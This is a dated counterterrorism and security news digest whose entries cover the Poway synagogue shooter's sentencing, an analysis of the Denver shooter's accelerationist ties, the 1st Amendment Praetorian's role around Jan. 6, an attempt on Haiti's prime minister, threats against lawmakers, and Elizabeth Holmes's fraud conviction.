Khadija Khan, a lawyer and journalist with Bar & Bench website, said she received a Twitter notification on New Year’s Eve that informed her she was tagged in a tweet that displayed her picture as part of the fake auction. The account has since been suspended.

Khan’s initial reaction was to report the tweet and block the user, dismissing it as spam. But she soon received messages from her friends and colleagues who confirmed to her that she was also on the list.

“My initial reaction was indifference and dismissal because we are used to daily trolling but by the next day, it had turned into shock and horror. Realizing what it actually was gave me nightmares,” Khan said.

Khan found support from her family and colleagues, but the incident left her shaken.

“It’s a message that ‘Look! We can brazenly humiliate and sell Muslim women online and still go scot free while they are still vying for some modicum of justice,’” Khan said.

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HEADLINE	01/03 Poway synagogue shooter sentenced to life
SOURCE	<a href="https://www.hstoday.us/subject-matter-areas/counterterrorism/poway-synagogue-shooter-sentenced-to-life-followed-by-30-years-in-prison-for-federal-hate-crimes/">https://www.hstoday.us/subject-matter-areas/counterterrorism/poway-synagogue-shooter-sentenced-to-life-followed-by-30-years-in-prison-for-federal-hate-crimes/</a>

GIST	<p>John T. Earnest, a California man who entered the Chabad of Poway on April 27, 2019, opened fire and killed one woman, injured three others, and attempted to kill 50 others, was sentenced today in the Southern District of California to life followed by 30 years in prison for his crimes.</p> <p>Earnest previously pleaded guilty to a 113-count indictment that included 54 counts of violating the Matthew Shepard and James Byrd Jr. Hate Crimes Prevention Act, 55 counts of violating the Church Arson Prevention Act, and four firearms offenses.</p> <p>“All people in this country should be able to freely exercise their religion without fear of being attacked,” said Attorney General Merrick B. Garland. “This defendant’s horrific crime was an assault on fundamental principles of our nation. The Justice Department is steadfast in its commitment to confronting unlawful acts of hate and to holding perpetrators of hate-fueled violence accountable.”</p> <p>“Hate has no place in our society and bias-motivated violence will not be tolerated,” said Assistant Attorney General Kristen Clarke. “By committing these heinous and senseless acts of violence against Jewish and Muslim community members, this defendant violated our most basic American ideal: all persons are created equal. The Department of Justice is committed to aggressively prosecuting bias-motivated violence and will continue partnering with state and local law enforcement to ensure that those who seek to engage in violence based on bias are held accountable for their crimes.”</p> <p>“Today we stand with the family of Lori Gilbert Kaye, the injured, and all who suffered as a result of the defendant’s heinous crimes,” said U.S. Attorney Randy Grossman of the Southern District of California. “The United States Attorney’s Office and our law enforcement partners reject all forms of hatred and prejudice, and we will relentlessly pursue justice for the victims of bias-motivated violence.”</p> <p>According to court documents, after several weeks of planning, on the morning of April 27, 2019, Earnest drove to the Chabad of Poway synagogue, where members of the congregation were gathered for religious worship. Earnest entered the building armed with a Smith and Wesson M&amp;P 15 assault rifle that was fully loaded with a 10-round magazine. He wore a chest rig which contained five additional magazines, each loaded with ten rounds of ammunition. Earnest opened fire, killing one person and injuring three other members of the congregation, including a then eight-year-old child. After Earnest emptied his initial magazine, several congregants rushed at Earnest. Earnest fled in his car and, shortly after, called 911 and confessed that he had “just shot up a synagogue.” Earnest was apprehended by local law enforcement who found the rifle and additional ammunition in his car.</p> <p>Investigators found a manifesto written by Earnest and posted on the Internet shortly before the attack. In the manifesto, Earnest made many anti-Semitic and anti-Muslim statements, including expressing a desire to kill people because of their Jewish faith, and regret that he could not kill more.</p> <p>Earnest also admitted that on March 24, 2019, he attempted to set fire to the Dar-ul-Arqam mosque in Escondido, California, because of his hatred of Muslims and the religious character of the building. Seven missionaries were asleep in the mosque, but no one was injured.</p> <p>The court ordered that the federal sentence will run consecutive to the state sentence. The court further recommended that Earnest serve his term of incarceration in a federal facility.</p>
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HEADLINE	01/03 Examine: Denver shooter’s ideological views
SOURCE	<a href="https://gnet-research.org/2022/01/03/examining-the-denver-shooters-ideological-views/">https://gnet-research.org/2022/01/03/examining-the-denver-shooters-ideological-views/</a>
GIST	<p>On 27 December 2021, Lyndon McLeod shot and killed five individuals in Denver, Colorado before being shot and killed by a Denver police officer. McLeod’s writings and social media content suggest his worldviews were heavily aligned with accelerationist themes and narratives promoted by the esoteric fascist movement Wolves of Vinland. Two of the individuals targeted by McLeod <a href="#">were named</a> in his novel <i>Sanction</i> – a book rife with violent accelerationist imagery. According to Denver police, the shootings <a href="#">appear to be motivated</a> by personal grievances. Denver police claim McLeod was</p>

known to law enforcement and had been [investigated](#) in “two separate investigations” in 2020 and early 2021, although the basis of these investigations have not been made public by law enforcement.

Evidence suggests McLeod was deeply influenced by the misogynistic pro-masculinity culture which pervades the alt-right’s so-called manosphere – particularly the views of Paul Waggner, a co-founder of the Wolves of Vinland; Jack Donovan, author of *The Way of Men* and a former member of the Wolves of Vinland; and [Jack Murphy](#), [Claremont Institute fellow](#) and founder of the “international men’s organization” Liminal Order. On Donovan’s podcast, McLeod expressed the belief that his natural masculine traits were actually stumbling blocks in modernity and that *Sanction* became a post-mortem of why his life was always so contentious and he didn’t “fit in.”

McLeod also appears to have been linked to two organisations. He posted materials on his social media accounts related to the Wolves of Vinland and to the group’s feeder organisation, Operation Werewolf (OPWW). McLeod was also a [self-declared member](#) of Jack Murphy’s Liminal Order, a manosphere men’s club that vilifies ‘radical feminism’ as the root of social disorder in modern America. Much about Liminal Order is still unknown, though Murphy’s brand is popular in the manosphere community.

The purpose of this article is to provide a preliminary assessment of McLeod’s expressed views and examine how they link to known extremist organisations and ideologies such as those found in the Wolves of Vinland. The Wolves are known for their anti-modernity views and Norse pagan rituals and aesthetic which often include co-opted runes and neo-Nazi symbols like the [sonnenrad](#).

### **Sanction**

McLeod’s three-volume novel, *Sanction*, is set in a dystopian future where a billionaire turned politician creates an embodied artificial intelligence so he can stop criminal recidivism through genetic editing. More important than the novel’s setting is how McLeod positions the novel within a contemporary movement to reclaim masculinity within literature, which he alleges has come under fire by feminist frameworks of modernity. In addition, he states on a podcast that “War is coming is the three-word slogan” for the novel.

Violent extremists have a [long history](#) of using works of fiction to promote their ideologies and to encourage their followers to carry out attacks. The white nationalist propaganda novel *The Turner Diaries* greatly influenced Timothy McVeigh prior to the Oklahoma City Bombing, although McVeigh targeted the Murrah Federal Building, rather than the FBI headquarters as depicted in the novel. In recent years, Order of Nine Angles (O9A) faction Temple of Blood (ToB) has [published ideological fiction](#) via their publishing arm Martinet Press. The books have featured prominently in the radicalisation to violence of numerous O9A adherents, and accelerationists have found inspiration in both the Turner Diaries and the ToB texts.

*Sanction* provides clues to McLeod’s ideological views. In the opening pages of *Sanction I*, McLeod references two writers that informed his views on masculinity and modernity – Jack Donovan and Ted Kaczynski. Despite referencing Kaczynski, McLeod suggests that for some men, the escape from modernity must come via the construction of a parallel culture that is smaller, more tribal, and is made up of like-minded people who don’t fit in with modern society’s expectations. On his blog, McLeod explained that real life individuals from whom he drew inspiration were intentionally placed in the books: “Jack [Donovan] is also a character in the book because it is a work of historical fiction. I use real names and real events and real people alongside fictional ones precisely because I wanted to blur the line between what is and what is possible.” In addition, the novel draws on Jack Donovan’s philosophising on post-societal collapse survival in “The Way of Men” and cites “A More Complete Beast.”

Notably, McLeod was a guest on Jack Donovan’s [Start the World podcast](#) in March 2020 where Donovan spoke approvingly of *Sanction* in the episode’s description: “Roman McClay lives in a converted shipping container in the mountains on some land that he’s named hríð tòrr. He’s authored the *Sanction* trilogy — a massive work of masculine fiction that’s caught on with a lot of men I respect. Roman and I talked about the concepts in his books, his plans for hríð tòrr, “sigma males,” and a lot

more.” While now deleted from Donovan’s podcast episode lineup on YouTube, McLeod’s *Sanction* website still retains a record of the appearance and third party podcast sites retain an archive of the episode.

In *Sanction II*, the Wolves of Vinland play a central role in the fictional post-apocalyptic world crafted by McLeod. In addition to including Waggener in his novel, McLeod amplified Waggener’s social media content and posted Wolves materials on his social media accounts. He also appears to have followed the program of weightlifting and homesteading required for prospective members of the Wolves. McLeod told Donovan that he had intended to use his 35 acres as a retreat for men to come and engage in masculine activities away from the modern world, where they could tap into their primal nature.

### **The Wolves of Vinland**

The Wolves of Vinland is an esoteric Norse pagan fascist movement, with known branches in the US, France, Italy, Germany, Serbia, Norway, Spain, and Russia. The group was founded in Lynchburg, Virginia in 2006 by Paul and Matthias Waggener and Sam and Nathan Carnes. Despite branding itself as an inclusive organization based on individual ability, the Wolves are racially/ethnically exclusive and advocate for a pagan-integralist society based on tribal units. The Wolves are modeled after outlaw biker gangs like the Hell’s Angels, in which members first join a feeder organisation and are not initiated into the main group until they have proved themselves. Members of the feeder organisation, called Operation Werewolf (OPWW), prove their fitness and belonging through the development of combat, homesteading, or subsistence farming skills. The Wolves’ long-term goals are opaque: while they openly discuss the creation of an organicist tribal society, it is unclear whether they intend to build their own outside community separate from modern society, or whether they aim to take over existing social structures and transform them to match their ideal.

The ‘Tribe’ is important to the Wolves as an organisational structure, both as an actual community and as an envisioned community. OPWW members are encouraged to meet up physically and form small units referred to as ‘tribes’, and to create their own symbols and rituals to strengthen their collective identity. The combination of ‘tribal’ organisation and the Wolves’ revival of Norse/Germanic pagan tradition is heavily reminiscent of German Indianthusiasm. Typified by the [works of Karl May](#), German Indianthusiasm portrayed Native Americans as effortlessly superhuman, spiritual beings lacking material concern, outside ‘civilized’ laws and norms, for whom fighting was a racial trait. This portrayal colored Nazi depictions of pre-Christian (anti-Judaic), ancient Germanic tribal tradition, from which the Wolves appropriate many of their symbols.

The Wolves perceive themselves as severed from nature by industrialisation and commercialisation. This severing results in weakness, both mental and physical, which the Wolves believe may be remedied through physical fitness, the accumulation of homesteading skills and revival of nature-centered pagan ritual. The Waggeners maintain that OPWW is apolitical but urge followers not to vote, which would be participation in an illegitimate political process. Their ideology privileges action over words and a masculine ideal of violent heroism. It teaches that the individual is capable of taking back autonomy and changing his environment, but insists that this is an internal process and is vague about where members ought to direct violence. Commodity consumption, city life and office jobs are routinely derided in Waggener’s War Journal blog as “passive” and “slow, humiliating mind suicide.” Both the gym and nature are places where one works off the effects of overcivilization: they provide hard conditions against which the Wolves struggle to prove themselves. Weightlifting creates strong bodies, which in turn form a strong ‘tribe’, while homesteading skills enable the ‘tribe’ to live independent from modern civilization. Paul Waggener also praises youth subcultures, like the black metal music scene, as training grounds for the “tribal imagination,” or an “us vs. them” mindset.

Wolves of Vinland materials make constant reference to the core tenets of [Julius Evola’s philosophy](#): a four-part religious-historical time cycle that ends in an age of degeneracy known as the Kali Yuga. Evola co-opted the Hindu concept of the time cycle, a recurring historical-spiritual pattern in which a harmonious Golden Age, the Satya Yuga, gives way to increasingly degenerate political and religious systems until at the end of the last age, the Kali Yuga, the corruption is swept away in an apocalyptic

conflict. The Satya Yuga recurs, and the cycle begins again. Evola's Traditionalism includes a racist vision of "harmony" and spiritual order. During the Golden Age or "era of the gods", the polar "Hyperborean" civilization was in perfect harmony with a primordial "solar" non-human spirituality. After migrations and mixing with southern populations who subscribed to an Earth-fertility spirituality, civilization loses its access to the polar spiritual center and enters the Silver Age, characterised by "lunar spirituality", and then the Bronze Age characterised by worship of the earth and of natural forces. The Iron Age or Kali Yuga is a time of both spiritual and political breakdown: no trace remains of the harmonious hierarchy of the Golden Age, and people indulge in such "political perversions" as religious liberty and representative democracy. Wolves of Vinland materials warn of the imminent end of the Kali Yuga and emphasise the importance of developing the spiritual and practical skills necessary to survive the catastrophe.

*Sanction* includes repeated references to Evola and to the Kali Yuga. McLeod quotes from Evola's *Ride the Tiger* and uses *Sanction's* characters to suggest that the world is ready for a "revanchist movement" that can bring about the "Great Return". [Fascist accelerationists](#) believe that by destabilising the civilizations of the Kali Yuga, they can hasten the end of the time cycle and the return of the Golden Age. Unlike most terrorist movements, fascist accelerationists do not expect to reshape their societies by using violence to extract political concessions from the state. They believe that their only role is to generate enough violence and chaos that the social and religious structures of the Kali Yuga collapse under their own weight. As Jade Parker [has written](#), accelerationists "believe capitalism and technology produce irreparable moral degeneracy and decadence that requires violent revolution."

### Conclusion

McLeod's anti-modernism, belief in imminent widespread social conflict, and the need to prepare for gang/tribe-based survival in a post-collapse social structure fit neatly within the Wolves' accelerationist views. And following his violent shooting spree, McLeod has become a 'saint' in the deeper accelerationist spaces on Telegram alongside figures like Brenton Tarrant and Dylan Roof.

Belief in social conflagration and global collapse is common amongst accelerationists and those that believe in Western esoteric cycles of history – particularly amongst [the skull mask network that emerged](#) from the Iron March forum. Collapse narratives, like the [no political solution](#) narrative, are also common in broader extremist worldviews. However, the collapse vision the Wolves and Donovan promote differs in its desire to separate from society without applying direct violence to solve modernity's ills.

While McLeod's crime may not be considered an act of terrorism in a strict sense, as it was not intended to coerce political concessions from the state, it is difficult to separate his ideological views from his violent actions. Even though Paul Waggener has denounced McLeod's actions, the Wolves of Vinland feature prominently in the shooter's worldviews and writings. Similarly, Jack Donovan and Jack Murphy's role in shaping toxic masculine spaces that promote and glorify violence are intrinsically intertwined into McLeod's extremism despite efforts to scrub endorsement of McLeod's writings from podcasts and websites. Clues to his potential for such violence were hidden in plain sight on McLeod's blog:

"There are certain men who maybe only represent[s] a small percentage of men – maybe only 10-15% – but who have a disproportionate impact on the world when they get even with their enemies. Society – full of reasonable and proportionate people – is currently f\*cking with the wrong men; and it comes at a price. It comes at a price disproportionate to the crime. It comes at a price if men like us vow to overreact and follow through. Then, and only then, will people learn."

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HEADLINE	01/03 Scrutiny, arrests: 1 <sup>st</sup> Amendment Praetorian
SOURCE	<a href="https://www.nytimes.com/2022/01/03/us/politics/first-amendment-praetorian-trump-jan-6.html">https://www.nytimes.com/2022/01/03/us/politics/first-amendment-praetorian-trump-jan-6.html</a>
GIST	Days after a pro-Trump mob stormed the Capitol on Jan. 6 last year, federal law enforcement officials pursued two high-profile extremist groups: the far-right nationalist Proud Boys and the Oath Keepers



militia. Members of both organizations were quickly [arrested](#) on [attention-grabbing charges](#), accused of plotting to interfere with the certification of the 2020 vote count.

Now congressional investigators are examining the role of another right-wing paramilitary group that was involved in a less publicly visible yet still expansive effort to keep President Donald J. Trump in power: the 1st Amendment Praetorian.

Known in shorthand as 1AP, the group spent much of the postelection period working in the shadows with pro-Trump lawyers, activists, business executives and military veterans to undermine public confidence in the election and to bolster Mr. Trump's hopes of remaining in the White House.

By their own account, members of the 1st Amendment Praetorian helped to funnel data on purported election fraud to lawyers suing to overturn the vote count. They guarded celebrities like Michael T. Flynn, Mr. Trump's former national security adviser, at "Stop the Steal" rallies, where huge crowds gathered to demand that Mr. Trump remain in office.

And they supported an explosive [proposal to persuade the president to declare an emergency](#) and seize the country's voting machines in a bid to stay in power.

None of 1AP's top operatives have been arrested in connection with the Capitol riot, and it remains unclear how much influence they exerted or how seriously criminal investigators are focused on them. Still, the group had men on the ground outside the building on Jan. 6 and others at the [Willard Hotel](#), near some of Mr. Trump's chief allies. And in the days leading up to the assault, 1AP's Twitter account posted messages suggesting that the group knew violence was imminent.

"There may be some young National Guard captains facing some very, very tough choices in the next 48 hours," read one message posted by the group on Jan. 4.

Last month, [citing some of these concerns](#), the House select committee investigating the Capitol attack [issued a subpoena](#) to Robert Patrick Lewis, the leader of 1AP. On the same day, it sent similar requests to Enrique Tarrio, the chairman of the Proud Boys, and Stewart Rhodes, the founder of the Oath Keepers.

As part of their inquiry, [congressional](#) investigators have obtained numerous audio recordings of 1AP members and are trying to determine how they fit into the broader investigation. Mr. Lewis did not respond to multiple requests for comment, but in recent months he has told parts of his story in online videos and podcasts.

Made up largely of Special Forces veterans and former intelligence officials, 1AP was founded in September 2020 to protect Trump supporters from harassment at rallies and to safeguard free speech rights from "tyrannical, Marxist subversive groups," Mr. Lewis wrote in [a thread of tweets](#) announcing the creation of the group. In a [video](#) attached to the thread, he said it would be "a tactical mistake" to discuss how many members 1AP had, noting only that it was several times more than the dozen in a standard Special Forces operational unit.

By the time he founded 1st Amendment Praetorian, Mr. Lewis, who once served as a medic for a Special Forces team, had been out of the Army for a decade and reinvented himself as an author and commentator with an interest in military issues and right-wing politics. Among his works were two action novels describing how the Green Berets saved the American homeland from a fictional invasion and a memoir depicting his rise from poverty and adoption to success in the 10th Special Forces Group, an elite unit stationed in Germany.

1AP's first "mission" — protecting conservative V.I.P.s — came in October 2020, when the group provided security at a march in Washington led by the Walk Away Foundation, an organization that seeks to persuade Democratic voters to leave the party, Mr. Lewis said in a [YouTube video](#) posted that December. The foundation's leader, Brandon Straka, a former hairstylist in New York, was among those arrested in the Capitol attack. Court papers suggest that he recently began to cooperate with the government.



At that event and others, 1AP provided more than bodyguards, Mr. Lewis said. Its protective detail also included “low-viz operators” dressed in plainclothes moving in the crowd. “We had eyes and ears everywhere,” he added.

As the presidential election drew closer, Mr. Lewis branched out beyond personal protection and started giving interviews, casting himself as a security expert, to right-wing news outlets, including those connected to the [QAnon conspiracy theory](#). Among his claims — so far unsubstantiated — was that “professional analysts” working for 1AP had infiltrated “encrypted forums” visited by members of the loose left-wing collective known as [antifa](#) and had discovered plans for a nationwide attack.

“Our intelligence shows that no matter who wins the election, they are planning a massive ‘antifa Tet offensive’ bent on destroying the global order,” [he told Fox News](#) two days before Election Day.

Once the votes were cast, Mr. Lewis turned his attention back toward guarding pro-Trump luminaries at rallies in Washington, where throngs of people showed up in support of the [lie that the election had been rigged](#). One of his clients was Ali Alexander, a prominent “Stop the Steal” organizer, who was a featured speaker at the so-called Million MAGA March on Nov. 14, 2020. ([Mr. Alexander has since given testimony to the House select committee.](#))

Around the same time, 1AP became involved in another project connected to challenging the election. Members of the group, as Mr. Lewis put it in his video in December, began to scour the internet for “OSINT” — or open source intelligence — about allegations of election fraud. Whatever evidence they found, he said, they sent to [Sidney Powell](#), a Dallas-based lawyer who filed four federal lawsuits in late 2020 contesting the results of the presidential vote.

The lawsuits, which ultimately failed and [resulted in a federal judge imposing sanctions on Ms. Powell](#), described without any credible evidence a plot by a cabal of international powers to hack U.S. voting machines and flip the count away from Mr. Trump.

By mid-December 2020, 1AP took a job protecting one of Ms. Powell’s former clients, Mr. Flynn, at a second large pro-Trump rally in Washington. The rally was put together, public permits say, by Cindy Chafian, an organizer for the pro-Trump group Women for America First, which arranged for caravans of the president’s supporters to rally across the country after the election. (Ms. Chafian has also been [subpoenaed by the House select committee.](#))

This rally — on Dec. 12, 2020 — helped to solidify 1AP’s relationship with Mr. Flynn and Ms. Chafian. It also brought the group into contact with the Oath Keepers, who joined their protective detail, according to a [television interview](#) that the militia’s leader, Mr. Rhodes, gave that day.

In the interview, Mr. Rhodes described how the two groups worked together at the rally. He then urged Mr. Trump to “wage war” against “traitors” at home by imposing martial law. That was the same message that Ms. Powell, Mr. Flynn and others in their orbit were advising at the time.

Mr. Lewis says he played his own small part in the effort to persuade Mr. Trump to declare martial law. On Dec. 18, [he said on a podcast last year](#), he drove Ms. Powell and Mr. Flynn to the White House to meet with Mr. Trump. It is not clear whether Mr. Lewis attended the meeting, where Ms. Powell and Mr. Flynn urged the president to declare a national emergency and demand a recount of key swing states on live TV, according to the business executive Patrick M. Byrne, who was also there.

It was not long after the White House meeting that Mr. Lewis, like others, turned his attention toward Jan. 6, which was widely seen as the final opportunity for Mr. Trump and his allies to stop the certification of the presidential vote.

On Jan. 5, Mr. Lewis gave a speech at an event organized by Ms. Chafian at Freedom Plaza in Washington, telling the crowd that they should not be “intimidated” by the “enemy at the gates.” Another organizer of events that day, Dustin Stockton, said that he saw Mr. Lewis and Ms. Chafian with other

	<p>members of 1AP in a room at the Willard Hotel, not far from the “war room” where some of Mr. Trump’s top allies had gathered.</p> <p>On the day of the Capitol attack, at least one of Mr. Lewis’s lieutenants, Geoffrey Flohr, a former Michigan police officer, was outside the building walking the grounds and talking on his cellphone just before the riot erupted, according to <a href="#">public videos</a>. (Mr. Flohr did not respond to messages seeking comment.) Ms. Chafian and her husband, Scott Chafian, were also in the mob outside the building.</p> <p>Another member of 1AP <a href="#">posted on Twitter</a> that afternoon, claiming he was in an “overwatch position” in Arlington County, Va., where prosecutors say the Oath Keepers had placed at a hotel an armed “quick reaction force” that was prepared to move into Washington if needed.</p> <p>As for Mr. Lewis, he told <a href="#">The Daily Beast last year</a> that he was at the Willard again on Jan. 6, away from the chaos at the Capitol.</p> <p>“Today is the day the true battles begin,” he wrote on Twitter just as the Capitol was breached.</p>
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HEADLINE	<b>01/03 Haiti PM survives assassination attempt</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/03/world/americas/haiti-prime-minister-assassination-attempt.html">https://www.nytimes.com/2022/01/03/world/americas/haiti-prime-minister-assassination-attempt.html</a>
GIST	<p>PORT-AU-PRINCE — Gunmen unsuccessfully attempted to assassinate Prime Minister Ariel Henry of Haiti during an event on Saturday commemorating the Caribbean country’s independence, his office said in a statement on Monday night.</p> <p>“Bandits and terrorists,” the statement said, had tried to shoot the prime minister at a church in the northern city of Gonaïves where the ceremony marking the 218th anniversary of independence was taking place.</p> <p>Video footage broadcast on social media showed Mr. Henry and his entourage scrambling toward their vehicles as an armed group began shooting outside the cathedral in Gonaïves.</p> <p>The police, who called Saturday’s attack the work of “armed groups,” were unable to immediately confirm casualties. Haitian media said the shooting killed one person and injured two more.</p> <p>Before the incident, a local gang boss had made threats against Mr. Henry in local media. <a href="#">Criminal gangs’ hold on parts of Haiti</a> has strengthened since the assassination of President Jovenel Moïse in July.</p> <p>The reported assassination attempt over the weekend has renewed concerns about the safety of officials in Haiti since <a href="#">Mr. Moïse’s assassination</a>.</p> <p><a href="#">Mr. Henry</a>, whose administration is <a href="#">facing mounting challenges</a> to its legitimacy, was sworn in as prime minister barely two weeks after <a href="#">Mr. Moïse’s killing at the hands of suspected mercenaries</a>. The country has yet to set a date to elect Mr. Moïse’s successor.</p>
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HEADLINE	<b>01/03 Federal law enforcement: torrent of threats</b>
SOURCE	<a href="https://www.wsj.com/articles/federal-law-enforcement-seeks-to-fill-the-holes-revealed-by-jan-6-attack-11641214802?mod=hp_lead_pos7">https://www.wsj.com/articles/federal-law-enforcement-seeks-to-fill-the-holes-revealed-by-jan-6-attack-11641214802?mod=hp_lead_pos7</a>
GIST	<p>Law-enforcement and intelligence agencies are grappling with online chatter promoting violence, along with threats against lawmakers, inspired in part by <a href="#">the Jan. 6 attack</a> on the U.S. Capitol, officials say.</p> <p>“We are probably in one of the most volatile, complex and dynamic threat environments that I have experienced in my career,” said John Cohen, <a href="#">the top counterterrorism official</a> at the federal Department of Homeland Security.</p>

Homeland Security and other law-enforcement agencies last week warned state and local officials of a heightened potential for violence on the anniversary of the Capitol breach, noting they knew of no specific or credible threats.

An intelligence assessment said “threat actors will try to exploit the upcoming anniversary” to promote or commit violence, according to a person familiar with it. The document warns that conspiracy theories about election fraud that contributed to the riot “continue to resonate among domestic violent extremists and could again inspire some to commit violence.”

While last year’s mob included members of several far-right militias and other extremist groups, officials have said the vast majority of the more than 700 people charged in the attack weren’t affiliated with any such entity, and neither are many of those threatening violence since then in social-media forums, phone calls and emails.

That increasingly diffuse activity presents a challenge to law enforcement in the aftermath of the attack on Jan. 6, when supporters of then-President [Donald Trump](#) overwhelmed police officers and stormed the Capitol to disrupt the certification of President Biden’s win in the 2020 presidential election. Widely criticized for [failing to act on warnings](#) about potential violence ahead of the riot, authorities at all levels of government have since sought to apply lessons learned during the attack, focusing on better intelligence-sharing and a more proactive law-enforcement strategy.

The U.S. Capitol Police, whose officers bore the brunt of the attack, is registering more instances of menacing communications. “We’re barely keeping our head above water in terms of looking at these cases,” said J. Thomas Manger, the new chief of the agency charged with protecting Congress, adding that he is seeking to hire more analysts to monitor the rise.

The 1,800-member police force was on pace to see more than 9,000 cases of threats against lawmakers by the end of 2021, Mr. Manger said in December. That continues a sharp increase over the past few years, from fewer than 4,000 in 2017 to just over 8,600 in 2020. Not all registered incidents rose to the level of a criminal threat, Mr. Manger said, with some being vague social-media posts or anonymous phone calls that reflect the increased level of threatening discourse that has come to characterize such interactions more generally.

Those numbers point to an increase in threats that was well under way before the Capitol attack and that has continued since then. The Federal Bureau of Investigation said the number of its probes into domestic violent extremism has more than doubled over the past 16 to 18 months with about 2,700 open cases.

The threat is dominated by extremists “advocating for the superiority of the white race,” the FBI said, a category it considers most likely to conduct mass-casualty attacks against civilians. So-called militia violent extremists, driven by antigovernment or anti-authority ideas, [pose the greatest threat](#) to law enforcement and government officials and facilities, the FBI said.

The FBI said that since the Capitol attack, it has put greater emphasis on “swift information sharing” with other law-enforcement agencies and made other improvements to help investigators and analysts in the field.

Law-enforcement officials say they often struggle to link concerning online commentary to specific people, making further investigation difficult.

[The torrent of social-media posts](#) also can make it difficult to distinguish online bravado from a genuine threat. Threatening members of Congress has resulted in federal charges for some people, who, for example, leave [death threats on lawmakers’ voice mails](#) or [write threatening letters](#).

[A series of watchdog reports](#) after the riot found that the Capitol Police were seriously understaffed and lacked equipment needed to protect the complex ahead of the riot. The agency’s inspector general has recommended 104 changes, including better police equipment and improved intelligence protocols. The

inspector general said in December that the force had completed 30 of them, including intelligence briefings for rank-and-file officers and improved civil disturbance training, but still needed to work on many improvements.

There has been a changing of the guard after top officials resigned after the failures on Jan. 6. Mr. Manger, a longtime local police chief, took the department's helm in July and the Senate and House both have new sergeants at arms, who serve on the five-member Capitol Police Board that oversees the force.

Mr. Manger said the Capitol Police force has improved planning and other protocols since the attack. The force has issued every officer a cellphone and sends daily intelligence briefings, he said, and has been holding daily calls to share intelligence with other law-enforcement agencies in the region.

Mr. Manger also credited a former U.S. Secret Service agent, Wesley Schwark, with taking a more robust approach to how the Capitol Police plans for big events. Authorities deployed more officers and erected fencing around the Capitol for the presidential inauguration and [a September rally held in support](#) of people charged in the riot, for example.

Congress recently approved legislation to make it easier for the Capitol Police to call in the National Guard in an emergency and passed hundreds of millions of dollars for Capitol security upgrades after the riot. Lawmakers have proposed raising the Capitol Police's annual budget, currently roughly \$515 million, to more than \$600 million.

Sen. Amy Klobuchar (D., Minn.), the chairwoman of the Senate Committee on Rules and Administration, whose oversight responsibilities include the Capitol grounds, said while the personnel changes and increased budgets will help, the force still has more work to do, including hiring more personnel.

The force is short of hundreds of officers, resulting in high overtime demands, according to watchdog reports. Roughly 130 Capitol Police officers have retired or resigned since the Jan. 6 riot, compared with 70 during the same period in 2020, the agency said in December.

That attrition points to the strain on the overworked force. "Officers are spending a lot more time here at work, more than we had in the past, and then not being able to spend time with their families and loved ones," said Capitol Police Officer Harry Dunn, a 13-year veteran on the force who has spoken out in his personal capacity about the trauma of the riot.

After many officers reported physical and emotional trauma following the riot, the Capitol Police force said it expanded wellness services for officers, including bringing in experts in psychological trauma and wellness dogs, among other efforts.

Mr. Cohen, who oversees Homeland Security's intelligence branch, stressed procedural changes to bolster the government's awareness of emerging threats and "incorporate that analysis into our operational planning."

Homeland Security officials are now regularly meeting with their state and local counterparts to discuss threat patterns and swap information, such as the intelligence bulletin issued last week. Analysts are receiving new training on how to evaluate online messages and share information with law enforcement. The agency in May announced a new domestic terrorism branch within its Office of Intelligence and Analysis to focus on producing such intelligence.

Mr. Cohen said the agency has seen online chatter that uses the Capitol riot as a rallying cry for more violence, which law-enforcement officials have sought to deter by deploying a robust and visible security presence.

"There's going to be times when we're probably dealing with violence," said Mr. Manger of the Capitol Police. "But in the future, we will have the people we need, the plan in place, and everything else that we didn't have on the sixth."

HEADLINE	<b>01/03 Elizabeth Holmes convicted: 4 counts fraud</b>
SOURCE	<a href="https://abcnews.go.com/US/elizabeth-holmes-trial-jury-unable-unanimous-verdict-counts/story?id=82055043">https://abcnews.go.com/US/elizabeth-holmes-trial-jury-unable-unanimous-verdict-counts/story?id=82055043</a>
GIST	<p>A jury has convicted Theranos founder <a href="#">Elizabeth Holmes on four counts of fraud</a> on their seventh day of deliberations. She was acquitted on another four, and a mistrial was declared on the remaining three counts.</p> <p>Holmes was found guilty on one count of conspiracy to commit wire fraud against Theranos investors and three other counts of wire fraud against investors. She was acquitted on all four counts of wire fraud against patients. The jury deadlocked on three counts of fraud against investors.</p> <p>Judge Edward J. Davila, who presided over the trial, is expected to sentence the fallen entrepreneur at a later date. The 37-year-old could face decades behind bars.</p> <p>Holmes showed no visible emotion as the deputy court clerk read the verdict aloud.</p> <p>"The jurors in this 15-week trial navigated a complex case amid a pandemic and scheduling obstacles," U.S. Attorney Stephanie Hinds told reporters Monday evening. "I thank the jurors for their thoughtful and determined service that ensured verdicts could be reached. The guilty verdicts in this case reflect Ms. Holmes' culpability in this large-scale investor fraud, and she must now face sentencing for her crimes."</p> <p>Holmes was not taken into custody after being convicted.</p> <p>Her ex-boyfriend and former company COO, Ramesh "Sunny" Balwani, who is also her co-defendant in the case, had his trial severed from Holmes earlier this year after learning her lawyers might use abuse claims as part of their defense. He has firmly denied those allegations and is expected to stand trial in February.</p> <p>Holmes, who had vowed to revolutionize the health care industry with technology that could run any test from a just a few drops of blood, was convicted of defrauding investors, in the rare criminal takedown of a Silicon Valley CEO.</p> <p>During his rebuttal on Dec. 17, prosecutor John Bostic told jurors that Holmes' motive to commit fraud was not to cash in, but to bolster the company she had built.</p> <p>"She committed these crimes because she was desperate for the company to succeed," Bostic said.</p> <p>Holmes conviction comes after the jury in the <a href="#">trial</a>, following over 45 hours of deliberation, said Monday morning that they were "unable to come to a unanimous verdict on three of the counts," and would need more time to reach a decision.</p> <p>Davila read the jury a deadlock instruction, reiterated Holmes' presumption of innocence, and sent the 12 back to the deliberation room to continue weighing the three counts of fraud on which they could not agree.</p> <p>The jurors are tasked with weighing 11 fraud charges leveled against Holmes following weeks of witness testimony from insiders who worked at the blood-testing startup, and patients and investors who prosecutors say were defrauded by the <a href="#">Theranos founder</a> once lauded as the next Steve Jobs.</p> <p><a href="#">Holmes, 37, was initially charged</a> with nine counts of wire fraud and two counts of conspiracy to commit wire fraud.</p> <p>The jury began deliberating on Dec. 20. In the two weeks since, which included some time off for holidays, they have been largely quiet.</p>

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